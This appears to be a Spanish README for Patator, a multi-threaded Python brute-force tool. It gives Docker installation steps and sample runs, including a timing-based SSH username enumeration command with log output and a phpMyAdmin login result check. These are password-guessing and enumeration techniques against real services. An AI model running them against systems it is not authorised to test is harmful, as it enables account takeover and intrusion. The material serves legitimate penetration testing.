
Patator es una herramienta de fuerza bruta multipropósito, con un diseño modular y un uso flexible.
Patator fue escrito por frustración al usar Hydra, Medusa, Ncrack, módulos de Metasploit y scripts NSE de Nmap para ataques de adivinación de contraseñas. Opté por un enfoque diferente para no crear otra herramienta de fuerza bruta y evitar repetir las mismas deficiencias. Patator es una herramienta multi-hilo escrita en Python, que se esfuerza por ser más confiable y flexible que sus predecesores.
Actualmente soporta los siguientes módulos:```
El nombre "Patator" proviene de [esto](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator NO es apto para script-kiddies, por favor lee lo siguiente, [DeepWiki](https://deepwiki.com/lanjelot/patator) y la [wiki](https://github.com/lanjelot/patator/wiki) antes de reportar.
¡Por favor dona si te gusta este proyecto! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
¡Muchas gracias! [@lanjelot](https://twitter.com/lanjelot)
## Instalación```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
Probado contra `vsftpd-3.0.2-9` en `CentOS 7.0-1406`.
* SSH : Enumeración de usuarios basada en tiempo```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Probado contra openssh-server 1:6.0p1-4+deb7u2 en Debian 7.8.
Payload #72 fue un falso positivo debido a un mensaje de error inesperado:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Probado contra phpMyAdmin 4.2.7.1.